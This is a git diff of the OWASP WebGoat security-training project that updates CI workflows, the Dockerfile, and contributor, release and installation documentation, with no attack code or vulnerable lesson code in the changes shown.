diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 000000000..35b2f7ce0 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,3 @@ +** + +!/target diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 000000000..a6d05ec21 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,15 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +indent_size = 4 +indent_style = space +insert_final_newline = true +max_line_length = 120 +tab_width = 4 +ij_continuation_indent_size = 8 +ij_formatter_off_tag = @formatter:off +ij_formatter_on_tag = @formatter:on +ij_formatter_tags_enabled = false +ij_java_names_count_to_use_import_on_demand = 999 diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 000000000..696cb3a7f --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat \ No newline at end of file diff --git a/.github/lock.yml b/.github/lock.yml new file mode 100644 index 000000000..436e0b9a7 --- /dev/null +++ b/.github/lock.yml @@ -0,0 +1,10 @@ +--- +daysUntilLock: 365 +skipCreatedBefore: false +exemptLabels: [] +lockLabel: false +lockComment: > + This thread has been automatically locked because it has not had + recent activity after it was closed. :lock: Please open a new issue + for regressions or related bugs. +setLockReason: false diff --git a/.github/stale.yml b/.github/stale.yml new file mode 100644 index 000000000..1df9ad312 --- /dev/null +++ b/.github/stale.yml @@ -0,0 +1,10 @@ +--- +daysUntilStale: 90 +daysUntilClose: 14 +onlyLabels: + - waiting for input + - wontfix +staleLabel: stale +markComment: > + This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs. +closeComment: false diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 7a68efd3c..8d98b7a33 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -3,56 +3,66 @@ on: pull_request: paths-ignore: - '.txt' - - '*.MD' - - '*.md' - 'LICENSE' - 'docs/**' push: branches: - - master + - main - develop - release/* tags-ignore: - '*' paths-ignore: - '.txt' - - '*.MD' - - '*.md' - 'LICENSE' - 'docs/**' jobs: - build: + pr-build: + if: > + github.event_name == 'pull_request' && !github.event.pull_request.draft && ( + github.event.action == 'opened' || + github.event.action == 'reopened' || + github.event.action == 'synchronize' + ) runs-on: ${{ matrix.os }} strategy: matrix: os: [ubuntu-latest, windows-latest, macos-latest] - java: [15] steps: - - uses: actions/checkout@v2 - - name: Set up JDK ${{ matrix.java }} - uses: actions/setup-java@v2 + - uses: actions/checkout@v3 + - name: Set up JDK 17 + uses: actions/setup-java@v3 with: - distribution: 'zulu' - java-version: ${{ matrix.java }} + distribution: 'temurin' + java-version: 17 architecture: x64 - name: Cache Maven packages - uses: actions/cache@v2.1.5 + uses: actions/cache@v3.2.2 with: path: ~/.m2 key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + restore-keys: ${{ runner.os }}-m2- - name: Build with Maven - run: mvn clean install + run: mvn --no-transfer-progress verify - notify-slack: - if: github.event_name == 'push' && (success() || failure()) - needs: - - build + build: + if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push' runs-on: ubuntu-latest + name: "Branch build" steps: - - name: "Slack workflow notification" - uses: Gamesight/slack-workflow-status@master - with: - repo_token: ${{secrets.GITHUB_TOKEN}} - slack_webhook_url: ${{secrets.SLACK_WEBHOOK_URL}} \ No newline at end of file + - uses: actions/checkout@v3 + - name: set up JDK 17 + uses: actions/setup-java@v3 + with: + distribution: 'temurin' + java-version: 17 + architecture: x64 + - name: Cache Maven packages + uses: actions/cache@v3.2.2 + with: + path: ~/.m2 + key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ubuntu-latest-m2- + - name: Test with Maven + run: mvn --no-transfer-progress verify diff --git a/.github/workflows/rebase.yml b/.github/workflows/rebase.yml deleted file mode 100644 index e1012a97a..000000000 --- a/.github/workflows/rebase.yml +++ /dev/null @@ -1,19 +0,0 @@ -name: "Automatic Rebase" -on: - issue_comment: - types: [created] -jobs: - rebase: - name: Rebase - if: github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase') && github.event.comment.author_association == 'MEMBER' - runs-on: ubuntu-latest - steps: - - name: Checkout the latest code - uses: actions/checkout@v2 - with: - token: ${{ secrets.GITHUB_TOKEN }} - fetch-depth: 0 # otherwise, you will fail to push refs to dest repo - - name: Automatic Rebase - uses: cirrus-actions/rebase@1.4 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 667b56645..192ce8fe4 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -5,26 +5,27 @@ on: - v* jobs: release: + if: github.repository == 'WebGoat/WebGoat' name: Release WebGoat runs-on: ubuntu-latest environment: name: release steps: - - uses: actions/checkout@v2.3.4 + - uses: actions/checkout@v3 - name: "Get tag name" id: tag uses: dawidd6/action-get-tag@v1 - name: Set up JDK 15 - uses: actions/setup-java@v2 + uses: actions/setup-java@v3 with: distribution: 'zulu' java-version: 15 architecture: x64 - name: Cache Maven packages - uses: actions/cache@v2.1.5 + uses: actions/cache@v3.2.2 with: path: ~/.m2 key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} @@ -37,16 +38,15 @@ jobs: echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV - name: Build with Maven run: | - mvn versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }} - mvn clean install -DskipTests + mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }} + mvn --no-transfer-progress install -DskipTests - name: "Create release" uses: softprops/action-gh-release@v1 with: draft: false files: | - webgoat-server/target/webgoat-server-${{ env.WEBGOAT_MAVEN_VERSION }}.jar - webwolf/target/webwolf-${{ env.WEBGOAT_MAVEN_VERSION }}.jar + webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar body: | ## Version ${{ steps.tag.outputs.tag }} @@ -74,50 +74,53 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: "Set up QEMU" - uses: docker/setup-qemu-action@v1.1.0 + uses: docker/setup-qemu-action@v2.1.0 with: platforms: all - name: "Set up Docker Buildx" - uses: docker/setup-buildx-action@v1 + uses: docker/setup-buildx-action@v2 - name: "Login to dockerhub" - uses: docker/login-action@v1.9.0 + uses: docker/login-action@v2.1.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: "Build and push" - uses: docker/build-push-action@v2.7.0 + uses: docker/build-push-action@v3.2.0 with: - context: ./docker - file: docker/Dockerfile + context: ./ + file: ./Dockerfile push: true - platforms: linux/amd64, linux/arm64 + platforms: linux/amd64, linux/arm64, linux/arm/v7 tags: | - webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }} - webgoat/goatandwolf:latest + webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }} + webgoat/webgoat:latest build-args: | webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} - name: "Image digest" run: echo ${{ steps.docker_build.outputs.digest }} new_version: + permissions: + contents: write # for Git to git push + if: github.repository == 'WebGoat/WebGoat' name: Update development version needs: [ release ] runs-on: ubuntu-latest environment: name: release steps: - - uses: actions/checkout@v2.3.4 + - uses: actions/checkout@v3 with: ref: develop token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }} - - name: Set up JDK 15 - uses: actions/setup-java@v2 + - name: Set up JDK 17 + uses: actions/setup-java@v3 with: - java-version: 15 + java-version: 17 architecture: x64 - name: Set version to next snapshot diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 000000000..09b0de5d3 --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,68 @@ +name: "UI-Test" +on: + pull_request: + paths-ignore: + - '.txt' + - '*.MD' + - '*.md' + - 'LICENSE' + - 'docs/**' + push: +# tags-ignore: +# - '*' + paths-ignore: + - '.txt' + - '*.MD' + - '*.md' + - 'LICENSE' + - 'docs/**' + +jobs: + build: + runs-on: ubuntu-latest + # display name of the job + name: "Robot framework test" + steps: + # Uses an default action to checkout the code + - uses: actions/checkout@v3 + # Uses an action to add Python to the VM + - name: Setup Pyton + uses: actions/setup-python@v4 + with: + python-version: '3.7' + architecture: x64 + # Uses an action to add JDK 17 to the VM (and mvn?) + - name: set up JDK 17 + uses: actions/setup-java@v3 + with: + distribution: 'temurin' + java-version: 17 + architecture: x64 + #Uses an action to set up a cache using a certain key based on the hash of the dependencies + - name: Cache Maven packages + uses: actions/cache@v3.2.2 + with: + path: ~/.m2 + key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ubuntu-latest-m2- + - uses: BSFishy/pip-action@v1 + with: + packages: | + robotframework + robotframework-SeleniumLibrary + webdriver-manager + - name: Run with Maven + run: mvn --no-transfer-progress spring-boot:run & + - name: Wait to start + uses: ifaxity/wait-on-action@v1 + with: + resource: http://127.0.0.1:8080/WebGoat + - name: Test with Robotframework + run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot + # send report to forks only due to limits on permission tokens + - name: Send report to commit + if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push' + uses: joonvena/robotframework-reporter-action@v2.1 + with: + gh_access_token: ${{ secrets.GITHUB_TOKEN }} + report_path: 'robotreport' diff --git a/.github/workflows/welcome.yml b/.github/workflows/welcome.yml index 9ad343f08..36199c09c 100644 --- a/.github/workflows/welcome.yml +++ b/.github/workflows/welcome.yml @@ -7,9 +7,10 @@ on: jobs: greeting: + if: github.repository == 'WebGoat/WebGoat' runs-on: ubuntu-latest steps: - - uses: actions/first-interaction@v1.1.0 + - uses: actions/first-interaction@v1.1.1 with: repo-token: ${{ secrets.GITHUB_TOKEN }} issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.' diff --git a/.gitignore b/.gitignore index 954e779fa..f914d3ab7 100644 --- a/.gitignore +++ b/.gitignore @@ -55,3 +55,5 @@ webgoat.script TestClass.class **/*.flattened-pom.xml /.gitconfig + +webgoat.gitconfig \ No newline at end of file diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 000000000..28718f0a4 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,60 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +- Using welcoming and inclusive language +- Being respectful of differing viewpoints and experiences +- Gracefully accepting constructive criticism +- Focusing on what is best for the community +- Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +- The use of sexualized language or imagery and unwelcome sexual attention or advances +- Trolling, insulting/derogatory comments, and personal or political attacks +- Public or private harassment +- Publishing others' private information, such as a physical or electronic address, without explicit permission +- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack). +- Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Disclaimer + +The WebGoat project and its materials are conceived for educational and research purposes only. + +Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials. + +The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them. + +Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions. + +The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org. + +All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4"). + +For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..a6f530e5f --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,105 @@ +# Contributing + +[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors) +![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg) +![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg) + +This document describes how you can contribute to WebGoat. Please read it carefully. + +**Table of Contents** + +* [How to Contribute to the Project](#how-to-contribute-to-the-project) +* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment) +* [How to get your PR Accepted](#how-to-get-your-pr-accepted) + +## How to Contribute to the project + +There are a couple of ways on how you can contribute to the project: + +* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added. +* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos. +* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat). + +## How to get your PR accepted + +Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short: +The minimum requirements for code contributions are: + +1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules. +2. All new and changed code _should_ have a corresponding unit and/or integration test. +3. New and changed lessons _must_ have a corresponding integration test. +4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit. + +Additionally, the following guidelines can help: + +### Keep your pull requests limited to a single issue + +Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples: + +* If you are making spelling corrections in the docs, don't modify other files. +* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request. + +### Write a good commit message + +* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d) + +* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message. + +For example: `Fix #545` or `Closes #10` + +## How to set up your Contributor Environment + +1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account. +2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo"). +3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this. +4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository: + + ```bash + $ git remote -v + origin git@github.com:/WebGoat.git (fetch) + origin git@github.com:/WebGoat.git (push) + + $ git remote add upstream git@github.com:WebGoat/WebGoat.git + + $ git remote -v + origin git@github.com:/WebGoat.git (fetch) + origin git@github.com:/WebGoat.git (push) + upstream git@github.com:OWASP/WebGoat.git (fetch) + upstream git@github.com:OWASP/WebGoat.git (push) + ``` + + See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")". + +5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues"). + +6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66` + +7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/). + +8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub. + +9. Create a Pull Request (PR) by going to your fork, and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer. + +10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR. + +11. When starting on a new PR in the future, make sure to always keep your local repo up to date: + + ```bash + $ git fetch upstream + $ git merge upstream/develop + ``` + + See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")". + +If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5. + +> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open. + +## What not to do + +Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration: + +* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section. +* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide. + +Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details. diff --git a/CREATE_RELEASE.MD b/CREATE_RELEASE.md similarity index 75% rename from CREATE_RELEASE.MD rename to CREATE_RELEASE.md index 1515aa3cd..1c37fd033 100644 --- a/CREATE_RELEASE.MD +++ b/CREATE_RELEASE.md @@ -1,21 +1,21 @@ ## Release WebGoat - ### Version numbers For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging - and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use - `v8.0.0` in the `pom.xml` - +and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use +`v8.0.0` in the `pom.xml` + ### Release notes: -Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of + +Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of committers. At the moment we use Gitflow, for a release you create a new release branch and take the following steps: ``` git checkout develop -git flow release start +git flow release start git flow release publish <> @@ -23,12 +23,10 @@ git flow release publish git flow release finish git push origin develop -git push origin master +git push origin main git push --tags ``` Now Travis takes over and will create the release in Github and on Docker Hub. NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version - - diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 000000000..f4af6fed2 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,32 @@ +FROM docker.io/eclipse-temurin:17-jre-focal + +RUN useradd -ms /bin/bash webgoat +RUN chgrp -R 0 /home/webgoat +RUN chmod -R g=u /home/webgoat + +USER webgoat + +COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar + +EXPOSE 8080 +EXPOSE 9090 + +WORKDIR /home/webgoat +ENTRYPOINT [ "java", \ + "-Duser.home=/home/webgoat", \ + "-Dfile.encoding=UTF-8", \ + "--add-opens", "java.base/java.lang=ALL-UNNAMED", \ + "--add-opens", "java.base/java.util=ALL-UNNAMED", \ + "--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \ + "--add-opens", "java.base/java.text=ALL-UNNAMED", \ + "--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \ + "--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \ + "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \ + "--add-opens", "java.base/java.io=ALL-UNNAMED", \ + "--add-opens", "java.base/java.util=ALL-UNNAMED", \ + "-Drunning.in.docker=true", \ + "-Dwebgoat.host=0.0.0.0", \ + "-Dwebwolf.host=0.0.0.0", \ + "-Dwebgoat.port=8080", \ + "-Dwebwolf.port=9090", \ + "-jar", "webgoat.jar" ] diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 000000000..f419c6ef6 --- /dev/null +++ b/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1 @@ +Thank you for submitting a pull request to the WebGoat! diff --git a/README.MD b/README.md similarity index 57% rename from README.MD rename to README.md index 3b0a76d43..44f30e7e5 100644 --- a/README.MD +++ b/README.md @@ -1,11 +1,11 @@ # WebGoat 8: A deliberately insecure Web Application -[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) -[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master) -[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat) -[![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) +[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) +[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/) +[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) +[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions) # Introduction @@ -29,44 +29,49 @@ first thing that all hackers claim.* # Installation instructions: +For more details check [the Contribution guide](/CONTRIBUTING.md) + ## 1. Run using Docker -Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/goatandwolf). +Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat). The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside. ```shell - -docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.1 +docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat ``` -The landing page will be located at: http://localhost -WebGoat will be located at: http://localhost:8080/WebGoat -WebWolf will be located at: http://localhost:9090/WebWolf +If you want to reuse the container, give it a name: -**Important**: *Change the ports if necessary, for example use `127.0.0.1:7777:9090` to map WebWolf to `http://localhost:7777/WebGoat`* +```shell +docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat +``` + +As long as you don't remove the container you can use: + +```shell +docker start webgoat +``` + +This way, you can start where you left off. If you remove the container, you need to use `docker run` again. **Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.* - ## 2. Standalone -Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) +Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) ```shell -java -Dfile.encoding=UTF-8 -jar webgoat-server-8.2.1.jar [--server.port=8080] [--server.address=localhost] [--hsqldb.port=9001] -java -Dfile.encoding=UTF-8 -jar webwolf-8.2.1.jar [--server.port=9090] [--server.address=localhost] [--hsqldb.port=9001] +java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.0.jar ``` -WebGoat will be located at: http://localhost:8080/WebGoat and -WebWolf will be located at: http://localhost:9090/WebWolf (change ports if necessary) +Click the link in the log to start WebGoat. ## 3. Run from the sources ### Prerequisites: -* Java 15 -* Maven > 3.2.1 +* Java 17 * Your favorite IDE * Git, or Git support in your IDE @@ -81,18 +86,31 @@ Now let's start by compiling the project. ```Shell cd WebGoat git checkout <> -mvn clean install +# On Linux/Mac: +./mvnw clean install + +# On Windows: +./mvnw.cmd clean install + +# Using docker or podman, you can than build the container locally +docker build -f Dockerfile . -t webgoat/webgoat ``` Now we are ready to run the project. WebGoat 8.x is using Spring-Boot. ```Shell -mvn -pl webgoat-server spring-boot:run +# On Linux/Mac: +./mvnw spring-boot:run +# On Windows: +./mvnw.cmd spring-boot:run + ``` -... you should be running webgoat on localhost:8080/WebGoat momentarily +... you should be running WebGoat on http://localhost:8080/WebGoat momentarily. -To change the IP address add the following variable to the WebGoat/webgoat-container/src/main/resources/application.properties file: +Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed. + +To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file: ``` server.address=x.x.x.x @@ -103,12 +121,16 @@ server.address=x.x.x.x For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables. For instance running as a jar on a Linux/macOS it will look like this: + ```Shell export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" -java -jar webgoat-server/target/webgoat-server-v8.2.0-SNAPSHOT.jar +java -jar target/webgoat-2023.0-SNAPSHOT.jar ``` + Or in a docker run it would (once this version is pushed into docker hub) look like this: + ```Shell -docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/goatandwolf +docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat ``` + diff --git a/README_I18N.md b/README_I18N.md new file mode 100644 index 000000000..6a4769f1e --- /dev/null +++ b/README_I18N.md @@ -0,0 +1,34 @@ +# Multi language support in WebGoat + +WebGoat is mainly written in English, but it does support multiple languages. + +## Default language selection + +1. Current supported languages are: en, fr, de, nl +2. The primary language is based on the language setting of the browser. +3. If the language is not in the list of supported language, the language is English +4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page + 1. After switching a language you are back at the Introduction page + +## Adding a new language + +The following steps are required when you want to add a new language + +1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html) + 1. Add the parts for showing the flag and providing the correct value for the flag= parameter +2. +3. Add a flag image to src/main/resources/webgoat/static/css/img + 1. See the main_new.html for a link to download flag resources +4. Add a welcome page to the introduction lesson + 1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish) + 2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable +5. Translate the main labels + 1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish) + 2. Translate the label values +6. Optionally translate lessons by + 1. Adding lang specifc adoc files in documentation folder of the lesson + 2. Adding WebGoatLabels.properties of a specific language if you want to +7. Run mvn clean to see if the LabelAndHintIntegration test passes +8. Run WebGoat and verify that your own language and the other languages work as expected + +If you only want to translate more for a certain language, you only need to do step 4-8 diff --git a/RELEASE_NOTES.md b/RELEASE_NOTES.md index 78b1a7e15..b0da20ea7 100644 --- a/RELEASE_NOTES.md +++ b/RELEASE_NOTES.md @@ -1,10 +1,59 @@ -# WebGoat release notes +# WebGoat release notes + +## Version 2023.0 + +With great pleasure, we present you with a new release of WebGoat **2023.0**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme). + +A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make +many more releases this year. + +### New functionality + +- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times. +- Move away from multi-project setup: + * This has a huge performance benefit when building the application. Build time locally is now `Total time: 42.469 s` 